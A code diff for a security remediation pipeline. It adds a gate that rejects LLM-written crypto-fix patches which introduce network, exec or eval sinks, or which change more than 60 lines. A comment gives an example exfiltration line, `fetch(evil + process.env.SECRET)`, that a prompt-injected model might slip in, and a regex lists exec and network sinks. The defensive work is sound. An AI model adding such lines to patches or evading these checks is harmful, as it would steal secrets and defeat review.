  /** Which files a patch is allowed to touch. */
34
34
  policy: PolicyContext;
35
35
  }
36
+ /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
37
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
38
+ export declare const LLM_PATCH_MAX_CHANGED_LINES = 60;
36
39
  /**
37
40
  * Run each finding through patchSource → policy → verify, collecting the patches
38
41
  * that survive both gates and the reasons the rest were dropped.
@@ -1 +1 @@
1
- {"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AASD;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CA0B5B"}
1
+ {"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AA+BD;4EAC4E;AAC5E,eAAO,MAAM,2BAA2B,KAAK,CAAC;AA6C9C;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CAmC5B"}
@@ -6,6 +6,68 @@ function passesVerify(before, after, finding) {
6
6
  const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));
7
7
  return targetGone && noNewRuleTypes && after.length < before.length;
8
8
  }
9
+ /**
10
+ * Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
11
+ * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
12
+ * the rest of a full-file rewrite, so an injected/hostile model could drop the
13
+ * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
14
+ * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
15
+ */
16
+ // Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
17
+ // (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
18
+ // require()/import() call forms AND static `import … from "…"` — the static
19
+ // form has no parens so the old dynamic-only pattern missed it entirely.
20
+ const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
21
+ const NEW_SINK_RE = new RegExp("\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
22
+ `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
23
+ `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
24
+ `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`, "g");
25
+ /** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
26
+ const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
27
+ /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
28
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
29
+ export const LLM_PATCH_MAX_CHANGED_LINES = 60;
30
+ function countMatches(re, s) {
31
+ return (s.match(re) ?? []).length;
32
+ }
33
+ /** Changed lines (removed + added) between two revisions, ignoring the shared
34
+ * prefix/suffix — same shape the CLI's unified-diff uses. */
35
+ function changedLineCount(before, after) {
36
+ const a = before.split("\n");
37
+ const b = after.split("\n");
38
+ let start = 0;
39
+ while (start < a.length && start < b.length && a[start] === b[start])
40
+ start++;
41
+ let endA = a.length - 1;
42
+ let endB = b.length - 1;
43
+ while (endA >= start && endB >= start && a[endA] === b[endB]) {
44
+ endA--;
45
+ endB--;
46
+ }
47
+ return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
48
+ }
49
+ /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
50
+ function llmPatchRisk(before, patch) {
51
+ // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
52
+ // count: it catches a sink SWAPPED into a file that already had one, and does
53
+ // not depend on the total count rising (trimmed line-set membership).
54
+ const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
55
+ const addsSink = patch.newContent
56
+ .split("\n")
57
+ .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
58
+ if (addsSink) {
59
+ return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
60
+ }
61
+ // Backstop: the total sink count must not rise either.
62
+ if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
63
+ return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
64
+ }
65
+ const changed = changedLineCount(before, patch.newContent);
66
+ if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
67
+ return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
68
+ }
69
+ return null;
70
+ }
9
71
  /**
10
72
  * Run each finding through patchSource → policy → verify, collecting the patches
11
73
  * that survive both gates and the reasons the rest were dropped.
@@ -25,6 +87,15 @@ export async function remediateFindings(findings, opts) {
25
87
  rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
26
88
  continue;
27
89
  }
90
+ // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
91
+ // verify step can't provide (new-sink + change-size bound).
92
+ if (patch.source === "llm") {
93
+ const risk = llmPatchRisk(content, patch);
94
+ if (risk) {
95
+ rejected.push({ finding, reason: risk });
96
+ continue;
97
+ }
98
+ }
28
99
  const before = verifyFix(content, { filename: finding.location.file }).findings;
29
100
  const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
30
101
  if (!passesVerify(before, after, finding)) {
@@ -1 +1 @@
1
- {"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAcA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAwBxC,6EAA6E;AAC7E,SAAS,YAAY,CAAC,MAAiB,EAAE,KAAgB,EAAE,OAAgB;IACzE,MAAM,UAAU,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACnE,MAAM,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;IACrF,OAAO,UAAU,IAAI,cAAc,IAAI,KAAK,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;AACtE,CAAC;AAED;;;GAGG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,QAA4B,EAC5B,IAAsB;IAEtB,MAAM,OAAO,GAAoB,EAAE,CAAC;IACpC,MAAM,QAAQ,GAAoB,EAAE,CAAC;IAErC,KAAK,MAAM,OAAO,IAAI,QAAQ,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;QAChD,MAAM,KAAK,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QACvD,IAAI,CAAC,KAAK,EAAE,CAAC;YACX,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC,CAAC;YACrE,SAAS;QACX,CAAC;QACD,MAAM,QAAQ,GAAG,gBAAgB,CAAC,KAAK,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,CAAC;YACtB,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,QAAQ,CAAC,MAAM,IAAI,0BAA0B,EAAE,CAAC,CAAC;YAClF,SAAS;QACX,CAAC;QACD,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,EAAE,EAAE,QAAQ,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAChF,MAAM,KAAK,GAAG,SAAS,CAAC,KAAK,CAAC,UAAU,EAAE,EAAE,QAAQ,EAAE,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAC7E,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,KAAK,EAAE,OAAO,CAAC,EAAE,CAAC;YAC1C,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,wCAAwC,EAAE,CAAC,CAAC;YAC7E,SAAS;QACX,CAAC;QACD,OAAO,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;IACnC,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,CAAC;AAC/B,CAAC"}
1
+ {"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * The remediation pipeline: turn candidate patches (from codemods or the LLM)\n * into VERIFIED, in-policy patches. Pure and deterministic — the verify gate\n * runs `verifyFix` on the patched content in memory, so this needs no\n * filesystem or git. Callers (the `qremediate` CLI) decide what to DO with the\n * verified patches (print a diff, write them, or open a PR in a worktree).\n *\n * Two gates, both must pass:\n * 1. patch-policy — the patch may only touch sanctioned files.\n * 2. verify_fix — the patched content clears the target finding, adds no\n * new finding type, and nets fewer findings than before.\n */\nimport type { Finding } from \"./types.js\";\nimport type { Patch } from \"./agent-types.js\";\nimport { checkPatchPolicy } from \"./patch-policy.js\";\nimport type { PolicyContext } from \"./patch-policy.js\";\nimport { verifyFix } from \"./verify.js\";\n\nexport interface VerifiedPatch {\n finding: Finding;\n patch: Patch;\n}\nexport interface RejectedPatch {\n finding: Finding;\n reason: string;\n}\nexport interface RemediationResult {\n applied: VerifiedPatch[];\n rejected: RejectedPatch[];\n}\n\nexport interface RemediateOptions {\n /** Current content of the file a finding lives in. */\n readContent: (finding: Finding) => Promise<string> | string;\n /** Produce a candidate patch for a finding (codemod or LLM), or null. */\n patchSource: (finding: Finding, content: string) => Promise<Patch | null> | Patch | null;\n /** Which files a patch is allowed to touch. */\n policy: PolicyContext;\n}\n\n/** True when `after` is a strict improvement over `before` for `finding`. */\nfunction passesVerify(before: Finding[], after: Finding[], finding: Finding): boolean {\n const targetGone = !after.some((x) => x.ruleId === finding.ruleId);\n const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));\n return targetGone && noNewRuleTypes && after.length < before.length;\n}\n\n/**\n * Exfiltration / RCE primitives an LLM \"crypto fix\" should never *newly*\n * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to\n * the rest of a full-file rewrite, so an injected/hostile model could drop the\n * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard\n * runs ONLY on `source: \"llm\"` patches (codemods are deterministic + trusted).\n */\n// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix\n// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH\n// require()/import() call forms AND static `import … from \"…\"` — the static\n// form has no parens so the old dynamic-only pattern missed it entirely.\nconst SINK_MODULES = \"child_process|http|https|http2|net|tls|dns|dgram\";\nconst NEW_SINK_RE = new RegExp(\n \"\\\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\\\s*\\\\(|spawn\\\\s*\\\\(|eval\\\\s*\\\\(|new\\\\s+Function|os\\\\.system|subprocess|Runtime\\\\.getRuntime\" +\n `|require\\\\s*\\\\(\\\\s*['\"](?:node:)?(?:${SINK_MODULES})['\"]` +\n `|import\\\\s*\\\\(\\\\s*['\"](?:node:)?(?:${SINK_MODULES})['\"]` +\n `|import\\\\s+[^;\\\\n]{0,200}?from\\\\s*['\"](?:node:)?(?:${SINK_MODULES})['\"])`,\n \"g\",\n);\n/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */\nconst NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);\n\n/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix\n * is localized; a sprawling rewrite is not reviewable as \"just the fix\". */\nexport const LLM_PATCH_MAX_CHANGED_LINES = 60;\n\nfunction countMatches(re: RegExp, s: string): number {\n return (s.match(re) ?? []).length;\n}\n\n/** Changed lines (removed + added) between two revisions, ignoring the shared\n * prefix/suffix — same shape the CLI's unified-diff uses. */\nfunction changedLineCount(before: string, after: string): number {\n const a = before.split(\"\\n\");\n const b = after.split(\"\\n\");\n let start = 0;\n while (start < a.length && start < b.length && a[start] === b[start]) start++;\n let endA = a.length - 1;\n let endB = b.length - 1;\n while (endA >= start && endB >= start && a[endA] === b[endB]) {\n endA--;\n endB--;\n }\n return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);\n}\n\n/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */\nfunction llmPatchRisk(before: string, patch: Patch): string | null {\n // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare\n // count: it catches a sink SWAPPED into a file that already had one, and does\n // not depend on the total count rising (trimmed line-set membership).\n const beforeLines = new Set(before.split(\"\\n\").map((l) => l.trim()));\n const addsSink = patch.newContent\n .split(\"\\n\")\n .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));\n if (addsSink) {\n return \"LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually\";\n }\n // Backstop: the total sink count must not rise either.\n if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {\n return \"LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually\";\n }\n const changed = changedLineCount(before, patch.newContent);\n if (changed > LLM_PATCH_MAX_CHANGED_LINES) {\n return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;\n }\n return null;\n}\n\n/**\n * Run each finding through patchSource → policy → verify, collecting the patches\n * that survive both gates and the reasons the rest were dropped.\n */\nexport async function remediateFindings(\n findings: readonly Finding[],\n opts: RemediateOptions,\n): Promise<RemediationResult> {\n const applied: VerifiedPatch[] = [];\n const rejected: RejectedPatch[] = [];\n\n for (const finding of findings) {\n const content = await opts.readContent(finding);\n const patch = await opts.patchSource(finding, content);\n if (!patch) {\n rejected.push({ finding, reason: \"no deterministic fix available\" });\n continue;\n }\n const decision = checkPatchPolicy(patch, opts.policy);\n if (!decision.allowed) {\n rejected.push({ finding, reason: decision.reason ?? \"rejected by patch policy\" });\n continue;\n }\n // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only\n // verify step can't provide (new-sink + change-size bound).\n if (patch.source === \"llm\") {\n const risk = llmPatchRisk(content, patch);\n if (risk) {\n rejected.push({ finding, reason: risk });\n continue;\n }\n }\n const before = verifyFix(content, { filename: finding.location.file }).findings;\n const after = verifyFix(patch.newContent, { filename: patch.path }).findings;\n if (!passesVerify(before, after, finding)) {\n rejected.push({ finding, reason: \"patch did not pass the verify_fix gate\" });\n continue;\n }\n applied.push({ finding, patch });\n }\n\n return { applied, rejected };\n}\n"]}
@@ -1 +1 @@
1
- {"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC"}
1
+ {"version":3,"file":"remediate-request.js","sourceRoot":"","sources":["../src/remediate-request.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,4CAA4C;AAC5C,MAAM,CAAC,MAAM,gBAAgB,GAC3B,iFAAiF;IACjF,8EAA8E;IAC9E,8EAA8E;IAC9E,oEAAoE;IACpE,2EAA2E;IAC3E,+EAA+E;IAC/E,2EAA2E;IAC3E,8EAA8E;IAC9E,6DAA6D,CAAC;AAEhE,mDAAmD;AACnD,MAAM,CAAC,MAAM,kBAAkB,GAA4B;IACzD,IAAI,EAAE,QAAQ;IACd,QAAQ,EAAE,CAAC,MAAM,EAAE,YAAY,EAAE,aAAa,CAAC;IAC/C,UAAU,EAAE;QACV,IAAI,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QACxB,UAAU,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;QAC9B,WAAW,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE;KAChC;CACF,CAAC;AASF,yFAAyF;AACzF,MAAM,UAAU,qBAAqB,CACnC,QAA4B,EAC5B,QAAsB,UAAU,EAChC,WAA0C;IAE1C,MAAM,cAAc,GAAiB,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC;IACtE,MAAM,QAAQ,GAAG,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAClC,YAAY,CAAC,CAAC,EAAE,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACnE,CAAC;IACF,OAAO,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,QAAQ,EAAE,CAAC;AAClF,CAAC","